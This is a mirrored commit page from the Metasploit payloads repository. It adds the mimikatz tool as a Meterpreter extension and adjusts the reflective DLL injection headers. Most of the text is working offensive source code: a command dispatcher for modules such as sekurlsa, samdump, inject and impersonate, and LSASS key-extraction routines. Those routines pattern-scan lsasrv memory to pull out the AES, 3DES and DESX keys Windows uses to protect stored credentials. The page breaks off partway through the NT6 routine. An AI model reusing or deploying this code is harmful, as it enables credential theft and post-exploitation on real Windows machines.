1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-12 12:14:29 +01:00

Compiles with Release

This commit is contained in:
Meatballs 2013-04-19 19:36:40 +01:00
parent d80547c656
commit 979e22f774
115 changed files with 11981 additions and 9 deletions

View File

@ -35,11 +35,15 @@
#pragma comment (lib,"Delayimp.lib")
// we use this like a macro to set the hook in an server extension that requires it
#define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c
#define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c
extern HMODULE hMetSrv;
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
#ifdef __cplusplus
extern "C" HMODULE hMetSrv;
extern "C" FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
#else
extern HMODULE hMetSrv;
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
#endif
//===============================================================================================//
#endif

View File

@ -183,7 +183,7 @@ geteip:
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH )
@ -435,13 +435,22 @@ geteip:
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// you must implement this function...
extern DWORD DLLEXPORT Init( SOCKET socket );
#ifdef __cplusplus
extern "C" DWORD DLLEXPORT Init( SOCKET socket );
extern "C" BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket ) ;
return TRUE;
}
#else
DWORD DLLEXPORT Init( SOCKET socket );
BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket );
return TRUE;
}
#endif
BOOL MetasploitDllDetach( DWORD dwExitFunc )
{

View File

@ -63,7 +63,7 @@ __forceinline DWORD ror( DWORD d )
__forceinline DWORD hash( char * c )
__forceinline DWORD _hash( char * c )
{
register DWORD h = 0;
do

View File

@ -40,8 +40,13 @@ typedef struct command
struct command *prev;
} Command;
#ifdef __cplusplus
extern "C" LINKAGE DWORD command_register(Command *command);
extern "C" LINKAGE DWORD command_deregister(Command *command);
#else
LINKAGE DWORD command_register(Command *command);
LINKAGE DWORD command_deregister(Command *command);
#endif
LINKAGE VOID command_join_threads( VOID );

View File

@ -203,7 +203,7 @@ static void real_dprintf(char *format, ...) {
va_start(args,format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugString(buffer);
OutputDebugStringA(buffer);
}
#endif

View File

@ -0,0 +1,93 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
#define _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
#include "../../common/common.h"
#endif
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "modules/globdefs.h"
#include <io.h>
#include <fcntl.h>
#include "mimikatz.h"
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/ReflectiveLoader.c"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
DWORD request_boiler(Remote *remote, Packet *packet)
{
return 0;
}
Command customCommands[] =
{
{ "boiler",
{ request_boiler, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
};
/*
* Initialize the server extension
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
DWORD index;
hMetSrv = remote->hMetSrv;
for (index = 0;
customCommands[index].method;
index++)
command_register(&customCommands[index]);
return ERROR_SUCCESS;
}
/*
* Deinitialize the server extension
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
return ERROR_SUCCESS;
}
//int wmain(int argc, wchar_t * argv[])
//{
// setlocale(LC_ALL, "French_France.65001");
// _setmode(_fileno(stdin), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/);
// _setmode(_fileno(stdout), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/);
// _setmode(_fileno(stderr), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/);
//
// /*SetConsoleCP(CP_UTF8);
// SetConsoleOutputCP(CP_UTF8);*/
//
// vector<wstring> * mesArguments = new vector<wstring>(argv + 1, argv + argc);
//
// mimikatz * myMimiKatz = new mimikatz(mesArguments);
// delete myMimiKatz, mesArguments;
// return ERROR_SUCCESS;
//}

View File

@ -0,0 +1,286 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mimikatz.h"
bool mimikatz::initLocalModules()
{
mod_system::getVersion(&mod_system::GLOB_Version);
mod_mimikatz_sekurlsa::loadLsaSrv();
mod_cryptoapi::loadRsaEnh();
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion système", mod_mimikatz_system::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilèges", mod_mimikatz_privilege::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accès", mod_mimikatz_impersonate::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du démineur", mod_mimikatz_winmine::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du démineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands()));
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands()));
return true;
}
mimikatz::mimikatz(vector<wstring> * mesArguments) : Kmimikatz(NULL)
{
initLocalModules();
SetConsoleTitle(MIMIKATZ_FULL);
wcout << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl <<
L"// http://blog.gentilkiwi.com/mimikatz" << endl;
bool mustContinue = true;
if(mesArguments)
{
for(vector<wstring>::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++)
{
wstring commande = *maCommande;
wcout << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl;
mustContinue = tryToDispatch(&commande);
}
}
if(mustContinue)
{
wstring * monBuffer = new wstring();
do
{
wcout << endl << MIMIKATZ << L" # " << dec;
getline(wcin, *monBuffer);
} while(tryToDispatch(monBuffer));
delete monBuffer;
}
wcout.flush();
}
mimikatz::~mimikatz(void)
{
mod_cryptoapi::unloadRsaEnh();
mod_mimikatz_sekurlsa::unloadLsaSrv();
mod_mimikatz_inject::closeThisCommunicator();
}
bool mimikatz::tryToDispatch(wstring * maLigne)
{
bool reussite = false;
if(!(reussite = maLigne->empty()))
{
switch(*(maLigne->begin()))
{
case L'@':
case L'*':
reussite = this->doCommandeDistante(maLigne->substr(1));
break;
case L'!':
reussite = this->doCommandeKernel(maLigne->substr(1));
break;
default:
wstring fonction = *maLigne;
vector<wstring> arguments;
size_t monIndex = fonction.find(L' ');
if(monIndex != wstring::npos)
{
fonction = fonction.substr(0, monIndex);
arguments = mod_parseur::parse(maLigne->substr(monIndex + 1));
}
reussite = doCommandeLocale(&fonction, &arguments);
}
}
return reussite;
}
bool mimikatz::doCommandeLocale(wstring * fonction, vector<wstring> * arguments)
{
size_t monIndex = fonction->find(L"::");
wstring module = L"";
wstring commande = *fonction;
if(monIndex != wstring::npos)
{
module = fonction->substr(0, monIndex);
commande = fonction->substr(monIndex + 2);
}
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++)
{
if(module == monModule->module)
{
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++)
{
if(commande == maCommande->commandName)
{
return maCommande->ptrCommand(arguments);
}
}
if(module.empty()) wcout << L"Commande locale \'" << commande << L"\' introuvable" << endl;
else wcout << L"Module : \'" << module << L"\' identifié, mais commande \'" << commande << L"\' introuvable" << endl;
wcout << endl << L"Description du module : " << monModule->description << endl;
listCommandes(monModule);
return true;
}
}
wcout << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl;
listModules();
return true;
}
bool mimikatz::openKernel()
{
bool reussite = false;
if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE)
{
wcout << L"Ouverture du pilote mimikatz : ";
Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE))
wcout << L"OK";
else
wcout << L"CreateFile ; " << mod_system::getWinError();
wcout << endl;
}
else
{
reussite = true;
}
return reussite;
}
bool mimikatz::closeKernel()
{
bool reussite = false;
if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)
{
if(CloseHandle(Kmimikatz))
{
Kmimikatz = NULL;
reussite = true;
}
}
return reussite;
}
bool mimikatz::doCommandeKernel(std::wstring &commande)
{
if(!commande.empty())
{
if(openKernel())
{
DWORD dwReturn;
/*
wcout << L"DEBUG WriteFile " << endl <<
L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl;
*/
if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL))
{
/*wcout << L"\tWriten : " << dwReturn << endl << endl;*/
DWORD dwBuff = 0x40000;
DWORD dwRead = 0;
BYTE * buffer = new BYTE[dwBuff];
RtlZeroMemory(buffer, dwBuff);
/*wcout << L"DEBUG ReadFile " << endl <<
L"\tBuffSize : " << dwBuff << endl;*/
if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL))
{
/*wcout <<
L"\tReaded : " << dwRead << endl <<
endl;
*/
wcout /*<< L"BUFF : " << endl*/
<< reinterpret_cast<wchar_t *>(buffer) << endl;
}
else wcout << L"ReadFile : " << mod_system::getWinError() << endl;
delete[] buffer;
}
else wcout << L"WriteFile : " << mod_system::getWinError() << endl;
}
else wcout << L"Impossible de communiquer avec le pilote mimikatz";
}
else
{
wcout << L"Commande vide (fermeture forcée) reçue" << endl;
closeKernel();
}
return true;
}
bool mimikatz::doCommandeDistante(std::wstring &commande)
{
bool commOk = false;
if(mod_mimikatz_inject::monCommunicator)
{
if(!commande.empty())
{
if(mod_mimikatz_inject::monCommunicator->isConnected())
{
if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande))
{
wstring buffer = L"";
do
{
if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer))
{
wcout << buffer.substr(1) ;
}
else
{
wcout << L"Erreur : pas de réponse possible ; " << mod_system::getWinError() << endl;
break;
}
} while(*(buffer.begin()) == L'#');
}
else wcout << L"Erreur : pas d\'écriture possible ; " << mod_system::getWinError() << endl;
}
}
else wcout << L"Commande vide (déconnexion forcée) reçue" << endl;
}
else wcout << L"Erreur : pas ou plus de communication établie" << endl;
if(!commOk)
mod_mimikatz_inject::closeThisCommunicator();
return true;
}
void mimikatz::listModules()
{
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++)
{
wcout << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl;
}
}
void mimikatz::listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule)
{
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++)
{
if(maCommande->commandName.front() != L':')
wcout << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl;
}
}

View File

@ -0,0 +1,62 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
#define _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
#include "../../common/common.h"
#endif
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "modules/globdefs.h"
#include "modules/mod_parseur.h"
#include "modules/mod_pipe.h"
#include "modules/mod_process.h"
#include "modules/mod_system.h"
#include "modules/mod_mimikatz_standard.h"
#include "modules/mod_mimikatz_crypto.h"
#include "modules/mod_mimikatz_hash.h"
#include "modules/mod_mimikatz_system.h"
#include "modules/mod_mimikatz_process.h"
#include "modules/mod_mimikatz_thread.h"
#include "modules/mod_mimikatz_service.h"
#include "modules/mod_mimikatz_privilege.h"
#include "modules/mod_mimikatz_handle.h"
#include "modules/mod_mimikatz_winmine.h"
#include "modules/mod_mimikatz_minesweeper.h"
#include "modules/mod_mimikatz_nogpo.h"
#include "modules/mod_mimikatz_samdump.h"
#include "modules/mod_mimikatz_inject.h"
#include "modules/mod_mimikatz_terminalserver.h"
#include "modules/mod_mimikatz_divers.h"
#include "modules/mod_mimikatz_impersonate.h"
#include "modules/mod_mimikatz_sekurlsa.h"
#include "modules/mod_mimikatz_efs.h"
class mimikatz
{
private:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
vector<KIWI_MIMIKATZ_LOCAL_MODULE> mesModules;
bool initLocalModules();
bool tryToDispatch(wstring * maLigne);
bool doCommandeLocale(wstring * fonction, vector<wstring> * arguments);
bool doCommandeDistante(std::wstring &commande);
bool doCommandeKernel(std::wstring &commande);
bool openKernel();
bool closeKernel();
void listModules();
void listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule);
HANDLE Kmimikatz;
public:
mimikatz(vector<wstring> * mesArguments = NULL);
virtual ~mimikatz(void);
};

Binary file not shown.

View File

@ -0,0 +1,75 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "keys_nt5.h"
PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL;
#ifdef _M_X64
BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3};
LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long));
LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long));
LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long));
LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long));
#elif defined _M_IX86
BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68};
LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY);
LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 5 + 2 + 2 + 2;
LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2;
LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2;
#endif
bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData()
{
PBYTE ptrBase = NULL;
DWORD mesSucces = 0;
if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY)))
{
#ifdef _M_X64
PBYTE g_Feedback = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_Feedback));
g_pRandomKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pRandomKey));
g_pDESXKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pDESXKey));
PDWORD g_cbRandomKey = reinterpret_cast<PDWORD >((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_cbRandomKey));
#elif defined _M_IX86
PBYTE g_Feedback = *reinterpret_cast<PBYTE *>(ptrBase + OFFS_WNT5_g_Feedback);
g_pRandomKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pRandomKey);
g_pDESXKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pDESXKey);
PDWORD g_cbRandomKey = *reinterpret_cast<PDWORD *>(ptrBase + OFFS_WNT5_g_cbRandomKey);
#endif
*g_Feedback = NULL; *g_pRandomKey = NULL; *g_pDESXKey = NULL; *g_cbRandomKey = NULL;
mesSucces = 0;
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS))
mesSucces++;
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS))
mesSucces++;
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
{
mesSucces++;
*g_pRandomKey = new BYTE[*g_cbRandomKey];
if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS))
mesSucces++;
}
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
{
mesSucces++;
*g_pDESXKey = new BYTE[144];
if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS))
mesSucces++;
}
}
else wcout << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl;
return (mesSucces == 6);
}
bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData()
{
if(g_pRandomKey && *g_pRandomKey)
delete[] *g_pRandomKey;
if(g_pDESXKey && *g_pDESXKey)
delete[] *g_pDESXKey;
return true;
}

View File

@ -0,0 +1,17 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "../mod_mimikatz_sekurlsa.h"
class mod_mimikatz_sekurlsa_keys_nt5 {
private:
static PBYTE *g_pRandomKey, *g_pDESXKey;
public:
static bool searchAndInitLSASSData();
static bool uninitLSASSData();
};

View File

@ -0,0 +1,185 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "keys_nt6.h"
HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL;
PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL;
mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL;
BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL;
BYTE kiwiRandom3DES[24], kiwiRandomAES[16];
#ifdef _M_X64
BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D};
LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3;
LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long));
LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3;
LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long));
LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3;
BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D};
LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3;
LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long));
LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3;
#elif defined _M_IX86
BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68};
LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long));
LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long));
LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY);
BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68};
LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long));
LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long));
LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY);
#endif
bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData()
{
if(!hBCrypt)
hBCrypt = LoadLibrary(L"bcrypt");
PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY;
ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY;
LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector;
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
{
PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY;
SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY);
OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey;
#ifdef _M_X64
if(mod_system::GLOB_Version.dwMinorVersion < 1)
{
OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey;
OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector;
}
else
{
OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey;
OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector;
}
#elif defined _M_IX86
OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey;
OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector;
#endif
}
else
{
PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY;
SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY);
OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey;
OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey;
OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector;
}
PBYTE ptrBase = NULL;
DWORD mesSucces = 0;
if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY))
{
#ifdef _M_X64
LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4;
PBYTE InitializationVector = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_InitializationVector));
hAesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey));
